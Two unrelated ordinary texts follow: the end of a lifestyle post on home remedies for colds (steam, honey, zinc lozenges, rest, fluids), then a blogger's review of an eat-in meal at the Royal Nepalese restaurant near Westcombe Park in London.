Steam: Hot showers, a humidifier, even a steamy washcloth can ease the pain of plugged sinuses and loosen mucus. Dampen a clean washcloth and pop it in the microwave for a minute or so. As soon as it's cool enough to handle, lie down and drape it over your face until it cools ... repeat as necessary.
Honey: It has anti-bacterial properties and supposedly is about as effective as cough medicine in relieving your hacking.
Zinc lozenges: These things taste disgusting, like sucking on a penny, but they are said to help reduce the duration of a cold.
Sleep: It won't ease your symptoms by itself, but it will help your body fight off the virus and make you feel at least a little more human.
Tea and soup: The warmth helps loosen congestion and feels soothing, and consuming plenty of fluids helps thin mucus.
If you're not feeling better in about a week, see your doctor: you could have a sinus infection or bronchitis.
Have you had a bout with the cold yet this fall?
Image via googlisti/Flickr


text:
Royal Nepalese – Eat-In
2-4, Station Crescent, London, SE3 7EQ
Tel: 020 8269 0505
I confess I've been a drifting Phantom as far as Indian restaurants and takeways have been recently. There seems to have been a general swapping-round of chefs in the area and my erstwhile solid favourites have been sorely disappointing recently. I've been forced to start my search again, randomly picking new places – and testing a few I dismissed earlier.
Now, takeaway and eat-in are two different things. Look no further than the Mehak for that – their eat-in is absolutely great (possibly a fave) but the takeaways just don't seem to cut it IMHO. So whenever I review a new place from now on, I'm going to say whether I ate in or had a takeaway.
In my latest drive to find somewhere new I decided to retry the Royal Nepalese by Westcombe Park Station (opposite the still-pretty-good-for eat-in Coriander.)
I last ate there about three years ago. It had been one of my favourites before that but suddenly seemed to go downhill and after a couple of very lacklustre meals, I moved on.
It's been so long that they've actually redecorated since I last went in – a simple, almost oriental style with sundry pictures of elderly Nepalese gentlefolk, one of whom looks distincly like she's blowing a party blower. The reception was friendly – very friendly – we were the only ones in there, perhaps a sign of the times.
We ordered a combination of the secret Phantom Control Meal and a couple of chefs recommendations, with some puppodums while we waited, which was probably a good thing – it took some time to serve us despite our being the only table in there (though not as long as the new Ghurka place – which I'll get onto another day…) The puppodums were crisp and light, and tasted fresh, and the chutneys and pickles were tasty and at least one of them looked home-made.
As regular readers will know, the Phantom Control Meal remains a closely guarded secret, but I guess it's hardly a surprise that it includes rice – which was fluffy and fresh – and naan, which was pleasingly heavy and bready.
The other dishes were pleasantly-spiced (neither too hot nor bland) and although some of the 'extra ingredients' (nothing bad – I don't mean creepy crawlies or anything – just unexpected) felt a bit odd, they weren't unwelcome.
I asked if they'd changed chef – it was such a difference – but the waiter/manager said it was the same guy. I can only assume that they've pulled their socks up, as this was a completely different experience from my last visit. Maybe it has something to do with the competition opposite. Who cares, if it means there are now two good curry places within ten metres of each other?
I haven't had a takeaway from them yet, so I can't recommend that section. But I have to say I was highly impressed with the eat-in experience. At a time when we're all cutting down (yes, even me) on eating out, the last thing we want is a duff time when we do venture out. I'm not convinced I've found Curry Nirvana in Royal Nepalese, but it will certainly do while I'm still looking…